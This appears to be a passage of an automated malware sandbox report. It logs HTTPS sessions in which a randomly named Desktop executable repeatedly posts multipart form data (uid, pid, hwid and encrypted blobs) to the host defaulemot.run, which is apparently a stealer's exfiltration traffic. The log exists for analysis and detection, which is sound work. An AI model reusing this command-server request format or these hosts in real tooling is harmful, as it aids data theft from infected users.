2025-03-09 12:49:18 UTC	1369	IN	Data Raw: 50 3a 0b 2d 0c f8 d9 3e 96 9a 55 3b a3 59 6a b8 29 52 02 5f aa f4 f3 22 26 7f c0 41 3d 27 8a 4c b8 a6 1c 35 87 f8 33 19 3f 79 92 c1 fa b3 91 f0 94 69 27 86 1b 0e 4c 80 88 c1 a8 4e 52 6c 7d 58 47 17 9c 0e 1f b6 e2 fb f3 c8 66 d2 1e 07 e0 20 02 a8 e7 2a 28 6b 61 a4 82 c5 b3 69 df 5f bf 92 5c 93 a5 c8 84 49 d4 b5 d7 f3 ea 60 40 1d a4 5e 29 b1 d8 9a 1d c5 5a fc a1 40 b5 a8 5e d7 28 90 d4 38 75 7f d3 20 dc 49 91 60 88 45 bf c3 dd e9 6d 73 a5 b0 c4 97 94 94 b2 92 27 54 39 8e 40 70 51 bd 47 e6 7a 65 79 0b 0d 76 97 3e 1c bb 8a 15 53 ce e9 1c 91 e0 ea 94 84 48 a3 02 9f f4 d7 57 d3 80 86 04 45 13 01 b3 da 0c 33 5d d9 2d 94 58 05 55 b5 41 8a 6d f8 d4 77 8c f3 ac 56 6b 57 2b f4 32 e5 e8 c1 45 6e bb f8 44 8a 65 0a 3a 52 72 29 e5 1c 4e 38 1e 88 b0 fd d8 1e 23 40 c4 9b Data Ascii: P:->U;Yj)R_"&A='L53?yi'LNRl}XGf *(kai_\I`@^)Z@^(8u I`Ems'T9@pQGzeyv>SHWE3]-XUAmwVkW+2EnDe:Rr)N8#@
2025-03-09 12:49:18 UTC	1369	IN	Data Raw: a6 ca dd 3a 36 c5 c6 39 ec f0 2a ee d3 27 b8 82 f1 24 80 a1 b9 8e 89 4c c4 3f bf d3 13 84 06 87 0a 63 c0 43 77 69 3b 0d 7f d9 b1 4d 36 d6 12 1a 5c 3a 27 55 5a 5c 74 c7 6a 2a 5f 4f 86 5c 51 2f 9a fd d6 7c 1f 90 d0 78 63 f8 bc 60 13 80 a9 56 15 8e 27 ad 01 61 08 a5 a9 59 0c 5c 31 50 eb 29 d4 cf 2a 41 d3 34 00 45 df 29 a8 27 82 d3 e8 36 d7 79 f8 ca d5 17 c6 bd 50 b9 21 d9 85 71 54 a0 b9 23 c7 01 b5 35 79 03 cc ef 7b ad 0a 1d 44 5d 65 ee 7d bd ca e3 30 c3 1e 2c 8c 36 a7 3b 27 9d 56 cb 7d bf 4c 82 96 45 44 72 3a 08 d2 67 42 79 3f 87 93 04 b1 1b 6f f0 ae c6 4d db bc 21 91 62 3d 98 f4 d6 19 73 68 a3 c9 4a 60 bb 81 e0 da c5 df cd 5a 42 9a 53 d2 26 81 6a cb 6a e2 f0 cc bc 41 79 3e 62 4e c9 3c 7c 16 f4 d3 b2 6f 15 33 01 5e 98 6f f0 64 5a bb e7 ba 7e 05 ff 65 b5 21 Data Ascii: :69'$L?cCwi;M6\:'UZ\tj_O\Q/\|xc`V'aY\1P)*A4E)'6yP!qT#5y{D]e}0,6;'V}LEDr:gBy?oM!b=shJ`ZBS&jjAy>bN<\|o3^odZ~e!
2025-03-09 12:49:18 UTC	1369	IN	Data Raw: 63 94 e2 52 8d 2f 2c b8 01 6b ac ab 5d ff df ea fa ec 60 2f 4c 1e 60 8c 56 01 b3 ec 04 6c d3 ec 46 a6 5b 55 1a 8d 96 e8 10 73 68 9c 71 3d 72 bd 82 eb 88 5d 52 c3 e5 4f e7 e6 07 1b bc 4a 44 4c be d7 c6 d0 58 be ad 03 a4 b6 3f de eb ae fe 17 31 77 f3 66 3c 29 74 4a b4 61 20 af a0 67 95 20 b0 75 8e 8c 12 14 79 19 1d e2 be 45 52 46 2c 02 f6 90 58 35 fc 4a 12 2b 14 69 d1 ce d0 84 5f 58 e2 73 79 42 54 1e a7 46 77 10 7c 09 43 01 2c ce 6d cf 0b 4a b1 9a b8 e7 73 07 db 8e fb c2 5b 0c f0 c3 f0 8d da 11 f5 7b 43 8d 17 9e 02 b9 60 57 dd b3 60 ac 8e e6 b4 1f 81 f7 d3 64 c4 35 12 e4 93 d7 71 f1 fd 99 94 f2 fb 78 be c5 ba 18 23 52 36 c3 c7 90 60 d0 0d 52 54 71 31 eb ba 05 78 12 4e d3 e2 1f b3 68 ab a9 29 ea 55 bf 75 9d 04 f2 24 fe ac dc ac f4 7e a4 88 26 20 ed f7 e1 1e Data Ascii: cR/,k]`/L`VlF[Ushq=r]ROJDLX?1wf<)tJa g uyERF,X5J+i_XsyBTFw\|C,mJs[{C`W`d5qx#R6`RTq1xNh)Uu$~&
2025-03-09 12:49:18 UTC	1369	IN	Data Raw: c4 cf 86 07 04 95 d5 d4 a7 63 a1 83 c1 fc d6 8e 0b c8 fa 2c f9 9c 85 d8 08 20 82 37 a1 b3 f9 ad 85 1d 4e 60 5f ef b6 2c c6 bf f7 29 71 33 0d b4 81 e9 b2 bc d4 29 2e 2e 6b 45 1c b9 07 74 5d 87 0c af e1 a8 7e a5 60 30 bb ee da 44 47 23 4f b6 48 04 3d b4 fc 71 75 15 8e b8 9b b5 63 6a 57 9b b3 07 f8 cf ae 2a 12 0a 6d fe 63 d1 3c 69 19 12 5b 23 cf 94 85 38 d6 6d 5d 09 2b 22 dc 30 c1 1b 2c 49 7a ff ac ca 28 57 90 ec b4 f3 53 da 22 26 9d 16 eb 5e 58 c6 42 c7 d7 12 1f 3b bf e0 e9 11 cf 79 55 8c 21 26 73 5e 9b 1c c5 69 d6 29 57 cf 97 f0 bb c9 b8 37 e3 ad 43 17 cb c7 b1 b9 e7 5f 0b a7 dc 31 b1 e3 89 05 9d 64 b8 5e 51 e7 77 09 a6 b3 9a 35 e7 92 4e fd e6 c4 43 22 56 64 a9 9e d2 fa 83 7f 75 5f 1d c1 1c 6a 3d 0f 59 11 81 78 82 b2 d3 3e d6 fd a4 e1 fe 9b d8 a5 73 aa 8e Data Ascii: c, 7N`_,)q3)..kEt]~`0DG#OH=qucjW*mc<i[#8m]+"0,Iz(WS"&^XB;yU!&s^i)W7C_1d^Qw5NC"Vdu_j=Yx>s
2025-03-09 12:49:18 UTC	1369	IN	Data Raw: 67 82 a3 d3 1d 56 51 72 9e fc 91 73 8e b3 d4 26 59 21 f3 f6 89 52 22 e1 b1 c8 23 54 2c a4 36 bb 8a 71 e0 ae 4f 13 8e e7 43 e0 6e 56 89 6d 47 96 38 65 d0 bb 37 d8 f7 fe 19 61 e8 a5 70 b9 58 e8 62 e4 6b d4 fe a0 7c 99 76 e3 7e e8 ca 11 9b 3b 44 6e 91 a2 30 cc 66 b8 11 b5 33 14 f3 25 ef e1 8a 8a 73 76 cb 3b 3b d4 76 94 4c 8b 3e 08 d8 cd 37 5c 83 bb f9 33 71 70 66 73 88 b3 ac 6e 65 08 39 a5 65 99 d3 51 2c 26 2a 5b 54 62 da eb 10 ba 73 79 a3 42 9c 94 8c 54 18 de ac d4 12 b9 5c a8 d2 fd 66 37 a3 ad cb 6d b5 c6 0c 09 d2 0a 44 4b 0e c6 96 93 ad 2d 64 5a c7 ed d8 df e8 e1 4b 6b b6 80 cf 3b 93 40 95 23 2e 07 1f 4f a6 74 88 17 b2 de 00 16 f6 1a 02 ec dc 66 cf a8 2c 7c b6 bf a5 1f 88 09 83 35 4d 28 af 79 61 a7 e9 03 eb 05 ee 16 12 55 28 50 e0 73 2c 47 8f 23 40 d2 ae Data Ascii: gVQrs&Y!R"#T,6qOCnVmG8e7apXbk\|v~;Dn0f3%sv;;vL>7\3qpfsne9eQ,&*[TbsyBT\f7mDK-dZKk;@#.Otf,\|5M(yaU(Ps,G#@
2025-03-09 12:49:18 UTC	1369	IN	Data Raw: 35 62 2d 16 f8 f3 a3 03 b9 03 1d 74 6d 7b e7 79 4b 32 a8 48 76 a6 ed d5 5c 22 07 af b6 97 4c 6c d0 8d 13 ff de f9 fd 7f cb f8 8c b3 b6 e4 60 f5 ce 71 ff cd 39 dd e7 40 2b 82 61 26 01 5f 1f 16 a2 61 f1 c2 80 be 9a 06 03 a6 d5 6f d6 89 ad 8a d6 18 9c 8a da e6 de 4a e8 f6 4c 10 05 f2 d4 1c 34 d3 6d d0 77 19 b1 11 6c 6a ee 55 92 72 2c dc 35 81 a9 3d 79 d9 42 60 f1 64 92 43 e8 00 2d 86 b3 bd f0 58 a5 22 09 34 09 f6 df 1d 20 2e 58 4e 28 2b 11 e0 9b 81 ad 06 5b 1a 73 6f c6 f0 60 20 3b 3e 64 c0 62 0f 11 80 ec 7d 06 52 bd 60 bd f1 06 6a be 9d 16 83 24 45 f6 89 cd 70 d5 db 6b 7f 98 a3 1e 5b ed 8e 23 37 34 52 34 9e 95 f4 e3 42 08 8c 5c 95 21 21 95 59 c0 d0 a8 3b dd a4 2d d8 76 8e f6 40 9f 86 0f f5 20 ea d7 3e 98 55 ed bb a3 59 5c 70 03 9e db 25 39 b5 fc db 71 6d 10 Data Ascii: 5b-tm{yK2Hv\"Ll`q9@+a&_aoJL4mwljUr,5=yB`dC-X"4 .XN(+[so` ;>db}R`j$Epk[#74R4B\!!Y;-v@ >UY\p%9qm
2025-03-09 12:49:18 UTC	1369	IN	Data Raw: 5b 89 e0 a5 0f 73 1e dc 0b 9f f8 26 7a 63 7f 2f 00 be 8a d7 ba ed 00 20 32 5f 19 f8 9f 4a e6 a8 2b 9b 18 06 2e 56 a8 94 c9 7f 02 34 38 ec cd 08 38 aa 7e c1 04 7c bf da 97 82 0a 07 42 dc 87 4e f8 e3 6e 47 17 4b 52 63 ac cb 59 f5 53 f1 63 b9 63 55 9b 40 82 85 ca eb 93 c2 ba 46 38 d2 47 19 11 6a 5b da 73 c0 80 06 f2 3c bb 4b a4 d5 db d4 83 6b 5c f4 c9 77 46 03 72 92 21 56 e8 49 b2 b5 ff 51 f3 6b 67 41 6e 11 5d 9f ec de 2e a2 87 78 83 4c bb 5a c5 f9 fd 10 45 be f9 a4 67 f8 da ed cd 75 46 f5 83 69 78 08 fc 88 c9 f0 f6 51 49 78 b3 f6 b0 63 45 06 2b 16 88 75 89 17 86 65 e5 fa 19 7b e5 66 18 d8 ef 64 d3 dd 7f 87 57 46 8a 66 25 88 51 a0 85 4b db a4 a4 7f 7c b5 cd fb 86 e8 44 83 e9 be 07 ab 4e 35 12 4e 9f 1a dd e7 05 77 81 90 9f f6 45 65 de 0e bf ad 9b a5 b3 da 51 Data Ascii: [s&zc/ 2_J+.V488~\|BNnGKRcYSccU@F8Gj[s<Kk\wFr!VIQkgAn].xLZEguFixQIxcE+ue{fdWFf%QK\|DN5NwEeQ
2025-03-09 12:49:18 UTC	1369	IN	Data Raw: f0 26 f3 d0 ad c5 df d9 57 da 2a 6b 00 7d 8e 5e 9c 8b e1 33 a3 0f 8f aa 64 0b a7 06 34 2a 35 4c 0b 94 62 16 f2 53 06 5c 9d 6e dc ac d3 5c 59 8f 6f 2c 54 57 71 8d 3e 61 71 18 1d 5e 69 87 20 68 ac 0b d9 ef 2b 69 19 55 5f 33 80 9b 41 f8 67 98 89 e8 65 c4 f5 3d 95 04 3d ee 96 26 fa ac 73 7c b5 db 5e ef 2d b4 8e 21 a8 9b cf d1 58 ac b4 c6 b5 23 2b 76 1c ab 58 e5 e2 e6 b7 14 ec 52 83 5a 9d a3 be 07 2a 59 91 aa 48 68 f8 c9 e9 78 2d 9f fe ae 75 c0 50 17 1f a1 4f 0b 5b 03 eb 7c 74 8f c3 eb 32 38 c5 d0 59 49 4a 1e 9b b3 82 65 70 23 b6 7a 84 78 eb 39 1b 15 3c 4f a7 ca 10 50 b5 5e d9 a8 9f e0 b8 36 1b eb 5f e5 48 81 25 ae 03 95 00 21 9b 39 08 d1 06 e2 ec 1f 45 25 62 04 b8 e1 71 a0 fa a8 74 3b f7 c0 25 c8 1a c7 ae 7b f8 ca 47 87 e0 68 08 35 1f 82 0f 09 fd da 4f 23 8f Data Ascii: &Wk}^3d45LbS\n\Yo,TWq>aq^i h+iU_3Age==&s\|^-!X#+vXRZ*YHhx-uPO[\|t28YIJep#zx9<OP^6_H%!9E%bqt;%{Gh5O#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49684	104.21.80.1	443	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-09 12:49:21 UTC	278	OUT	POST /jUSiaz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=iUfoW1RM307Q6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 14916 Host: defaulemot.run
2025-03-09 12:49:21 UTC	14916	OUT	Data Raw: 2d 2d 69 55 66 6f 57 31 52 4d 33 30 37 51 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 65 39 33 65 31 32 61 66 37 66 31 35 63 33 33 30 31 39 36 62 35 64 33 66 64 36 34 65 32 37 35 65 36 30 66 63 61 65 32 30 33 0d 0a 2d 2d 69 55 66 6f 57 31 52 4d 33 30 37 51 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 69 55 66 6f 57 31 52 4d 33 30 37 51 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 38 41 30 41 36 32 35 39 33 41 43 43 31 37 45 33 Data Ascii: --iUfoW1RM307Q6Content-Disposition: form-data; name="uid"be93e12af7f15c330196b5d3fd64e275e60fcae203--iUfoW1RM307Q6Content-Disposition: form-data; name="pid"2--iUfoW1RM307Q6Content-Disposition: form-data; name="hwid"178A0A62593ACC17E3
2025-03-09 12:49:22 UTC	824	IN	HTTP/1.1 200 OK Date: Sun, 09 Mar 2025 12:49:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sps3VVHMwkfM%2FGEF2f9whon5wd6%2BbG9Ys%2F8inZAZhibtv7LWpKbbVOgzSVwBO5dCYrHAvVDOWfVn%2BWEG5aQCZR4HGJgpbnVc2RmE9yvnTyoom8btjyNx8OjAuzrV%2F%2B9D6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91dab11d993130e1-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=34667&min_rtt=29425&rtt_var=12896&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15852&delivery_rate=97077&cwnd=249&unsent_bytes=0&cid=19dc6f2f78de1297&ts=1181&x=0"
2025-03-09 12:49:22 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 36 35 2e 31 32 39 2e 35 34 2e 31 35 34 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 65.129.54.154"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49685	104.21.80.1	443	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-09 12:49:24 UTC	274	OUT	POST /jUSiaz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J9796FRtT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15012 Host: defaulemot.run
2025-03-09 12:49:24 UTC	15012	OUT	Data Raw: 2d 2d 4a 39 37 39 36 46 52 74 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 65 39 33 65 31 32 61 66 37 66 31 35 63 33 33 30 31 39 36 62 35 64 33 66 64 36 34 65 32 37 35 65 36 30 66 63 61 65 32 30 33 0d 0a 2d 2d 4a 39 37 39 36 46 52 74 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 39 37 39 36 46 52 74 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 38 41 30 41 36 32 35 39 33 41 43 43 31 37 45 33 45 44 43 45 41 37 37 38 33 36 38 45 Data Ascii: --J9796FRtTContent-Disposition: form-data; name="uid"be93e12af7f15c330196b5d3fd64e275e60fcae203--J9796FRtTContent-Disposition: form-data; name="pid"2--J9796FRtTContent-Disposition: form-data; name="hwid"178A0A62593ACC17E3EDCEA778368E
2025-03-09 12:49:25 UTC	829	IN	HTTP/1.1 200 OK Date: Sun, 09 Mar 2025 12:49:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DuFZKqlW%2F%2F8%2FCb0bIrU5e0BvAbVak%2FL%2BKlWivzxgbTQ76gm21vOPc8bcT4mMWyJH0W3HPh4UtD4%2FhEZbiPLfK9V538%2FJkk6k2P1%2FcpDzmeO5L3xtj6o9mhmdDtckgn5ExA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91dab12f7c149b75-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=35409&min_rtt=33989&rtt_var=12039&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2832&recv_bytes=15944&delivery_rate=71487&cwnd=236&unsent_bytes=0&cid=e7e20f284e184817&ts=1069&x=0"
2025-03-09 12:49:25 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 36 35 2e 31 32 39 2e 35 34 2e 31 35 34 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 65.129.54.154"}}
2025-03-09 12:49:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49686	104.21.80.1	443	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-09 12:49:27 UTC	273	OUT	POST /jUSiaz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GufEFX35 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20523 Host: defaulemot.run
2025-03-09 12:49:27 UTC	15331	OUT	Data Raw: 2d 2d 47 75 66 45 46 58 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 65 39 33 65 31 32 61 66 37 66 31 35 63 33 33 30 31 39 36 62 35 64 33 66 64 36 34 65 32 37 35 65 36 30 66 63 61 65 32 30 33 0d 0a 2d 2d 47 75 66 45 46 58 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 75 66 45 46 58 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 38 41 30 41 36 32 35 39 33 41 43 43 31 37 45 33 45 44 43 45 41 37 37 38 33 36 38 45 33 34 0d Data Ascii: --GufEFX35Content-Disposition: form-data; name="uid"be93e12af7f15c330196b5d3fd64e275e60fcae203--GufEFX35Content-Disposition: form-data; name="pid"3--GufEFX35Content-Disposition: form-data; name="hwid"178A0A62593ACC17E3EDCEA778368E34
2025-03-09 12:49:27 UTC	5192	OUT	Data Raw: 5a f9 f0 93 05 4e 33 43 45 ef 4c c7 03 27 e6 7e db fd 6a 32 b8 b0 7f b6 fe 7a 25 2b aa 2f 59 4e d2 b3 9e 5c ef a3 90 53 2c 49 52 b6 49 d5 ae 24 fe 41 c7 a7 8a 21 b3 55 ad 97 bf b2 f5 ff e2 9a 85 af ed a4 3b fb a5 c4 6c ca 8f c3 ae 55 9e 20 0e 82 a4 8e 70 07 26 f5 b6 f8 70 83 d6 3b e4 eb fb d8 b3 85 0a 4e 5f bc f2 af ce 57 99 79 74 de 3c 41 34 6d e4 3f 8d 2d 78 b5 c5 03 70 a7 0d b3 16 79 a0 e0 23 78 1d 0c 68 0d 22 27 62 75 c8 0d f3 37 97 84 40 97 49 27 81 77 cc ca 1f fd f0 05 f7 44 44 47 7f 81 aa 24 a0 e2 35 86 ac ef 77 e8 65 07 fd 5b ec f4 88 89 f3 8b 9d 12 a7 6a 0c b3 7a d5 dc 79 c6 0c 2e 2b e8 ca 7d bb b2 f7 90 28 a8 73 86 12 78 62 ac 49 d5 4a 03 e5 94 c9 e8 a1 bf d2 e1 c4 6e 9d fa f9 9d 02 20 23 30 8e 64 fc 8c 3d 5a 7d 77 b3 0a 56 41 f5 f5 c8 f1 93 bd Data Ascii: ZN3CEL'~j2z%+/YN\S,IRI$A!U;lU p&p;N_Wyt<A4m?-xpy#xh"'bu7@I'wDDG$5we[jzy.+}(sxbIJn #0d=Z}wVA
2025-03-09 12:49:30 UTC	826	IN	HTTP/1.1 200 OK Date: Sun, 09 Mar 2025 12:49:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JM9g%2BhJT9c0hrD4qUfXApXVyaWMkL0B4xcIFRHsE90w%2FsigJMbDFmvxha0JxSlygbYFFKC8q%2BD%2Fjn2EQpmLM0YSh6FGDk6ln30oJHuR%2FQsD%2BJ%2BedqOJna6QO0nBJYanuiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91dab1460ceaeb3d-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31692&min_rtt=31360&rtt_var=9025&sent=21&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21476&delivery_rate=90497&cwnd=225&unsent_bytes=0&cid=2c1c19f433607712&ts=2679&x=0"
2025-03-09 12:49:30 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 36 35 2e 31 32 39 2e 35 34 2e 31 35 34 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 65.129.54.154"}}
2025-03-09 12:49:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49688	104.21.80.1	443	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-09 12:49:33 UTC	272	OUT	POST /jUSiaz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=zLfkrgaD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2499 Host: defaulemot.run
2025-03-09 12:49:33 UTC	2499	OUT	Data Raw: 2d 2d 7a 4c 66 6b 72 67 61 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 65 39 33 65 31 32 61 66 37 66 31 35 63 33 33 30 31 39 36 62 35 64 33 66 64 36 34 65 32 37 35 65 36 30 66 63 61 65 32 30 33 0d 0a 2d 2d 7a 4c 66 6b 72 67 61 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 7a 4c 66 6b 72 67 61 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 38 41 30 41 36 32 35 39 33 41 43 43 31 37 45 33 45 44 43 45 41 37 37 38 33 36 38 45 33 34 0d Data Ascii: --zLfkrgaDContent-Disposition: form-data; name="uid"be93e12af7f15c330196b5d3fd64e275e60fcae203--zLfkrgaDContent-Disposition: form-data; name="pid"1--zLfkrgaDContent-Disposition: form-data; name="hwid"178A0A62593ACC17E3EDCEA778368E34
2025-03-09 12:49:34 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 09 Mar 2025 12:49:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2CT59bQit5xjQee469JxM89aX2HdqQ6VDGVbkYJK065pLYA67evCc%2FaCZwJnr2zgYxpXd9ra%2BylPSVSZdRrxb9P%2Bvgb%2Fc6UZsjAd7YLo1Y9tInsMSZvanExA7TW6zvLDXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91dab1675db7deec-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31941&min_rtt=29701&rtt_var=12263&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2830&recv_bytes=3407&delivery_rate=72692&cwnd=250&unsent_bytes=0&cid=3b94a1775d2c1b81&ts=1140&x=0"
2025-03-09 12:49:34 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 36 35 2e 31 32 39 2e 35 34 2e 31 35 34 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 65.129.54.154"}}
2025-03-09 12:49:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49693	104.21.80.1	443	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-09 12:49:37 UTC	279	OUT	POST /jUSiaz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=q0Lqd6eC1zv7H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552824 Host: defaulemot.run
